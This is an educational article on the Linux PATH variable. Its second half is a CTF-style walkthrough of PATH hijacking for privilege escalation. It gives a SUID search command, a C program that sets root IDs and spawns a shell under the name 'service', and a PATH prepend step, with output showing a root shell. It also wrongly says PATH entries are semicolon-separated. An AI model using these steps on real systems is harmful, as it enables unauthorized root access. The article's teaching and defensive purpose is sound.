The PATH Environment Variable

The PATH Environment Variable

In all Linux/Unix-like environments, we have the PATH environment variable which tells the shell where to look for executable binaries/scripts when commands are issued. This single characteristic makes it probably one of the most important Environment Variables in a Linux/Unix system. In this module, we are going to look at various aspects of this variable.

What exactly is the PATH environment variable?

The PATH environment variable consists of a list of directories separated by a semicolon in a plain text format. These are the directories in which the shell looks for executable binaries/scripts when a user executes commands. You can list the value of your current PATH with :

$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin

How does the PATH variable work?

When a user executes a command, the shell looks up for an executable script/binary with the same name as that of the command in the directories listed under the PATH variable, starting from the first. As soon as it finds a match, it executes the binary with all the given flags and so forth.

Thus this saves us the pain of typing /bin/ls instead of ls everytime we want to list the contents of a directory. However, this can also be exploited as we will see in a later module.

Note that sometimes the PATH for the root user might be different from a normal user or a user not in the sudoers file. A normal user might not have /sbin, /usr/sbin in their PATH as the executables listed here are mostly used by the root user.

Adding Our Own Directories To PATH

You can also include your own directories with some custom executables in it to your PATH to run them as commands. A comparatively safer way to do so would be to add them at the end of your PATH as such :

$ export PATH=$PATH:/path/to/directory

Make sure that your custom binaries don’t have the same name as any of the other binaries contained in the folders listed under the directories mentioned in the PATH variable.

You can learn more about how to set Environment Variables here.

PATH environment variable hijacking for privilege escalation

The PATH environment can also be exploited for vertical or lateral movement in a system. This occurs mainly when privileged scripts/binaries use relative paths of commands or just the command name. To demonstrate this, let’s take an example from a real CTF and get our hands dirty.

We’ll assume that you have already broken into the system and have gained some foothold on it. Next up we search for executables with elevated privileges with the following command :

$ find / -type f -perm -u=s 2>/dev/null

Among other outputs we have this executable :

$ /usr/local/bin/suid-env

Examining the strings in the binary with strings we get :

$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

As we can see, it can the binary calls the command service without using its full path. Hence we can exploit this to gain root access as the executable has SUID permissions.

Remember how we discussed that the shell looks for executables with the same name as the command issued in the directories listed in PATH and upon finding a match, stops the search and executes it? What if we create our own malicious binary with the name ‘service‘ and export it to be executed before the actual ‘service‘ binary?

With this goal in mind, we write a little C code of our own and save it as service.c :

#include <stdlib.h>
void main()
{
	seteuid(0);
	setegid(0);
	system("/bin/bash");
}

This simple code simply sets the Effective UID and effective GID to that of root and calls /bin/bash

With that, compile the program and name the executable as ‘service’ and then prepend the current directory to PATH :

$ gcc service.c -o service
$ export PATH=.:/$PATH

Now if we execute /usr/local/bin/suid-env , it would intern invoke the ‘service’ binary. The shell would then look for the binary in PATH and since it finds it in the first directory listed (our current directory which we exported), it looks no further and executes it.

$ whoami
thom
$ /usr/local/bin/suid-env
# whoami
root

Thus we saw how we can hijack PATH to escalate our privileges on a system.

Conclusion

Thus we discussed the various aspects of the PATH variable. We even saw how we can use it in from a RED TEAM perspective. Thus to prevent the same from happening on your systems, make sure to use the full paths of the binaries in your scripts and manage permissions properly.

Recommended read – Less known cybersecurity tools on Linux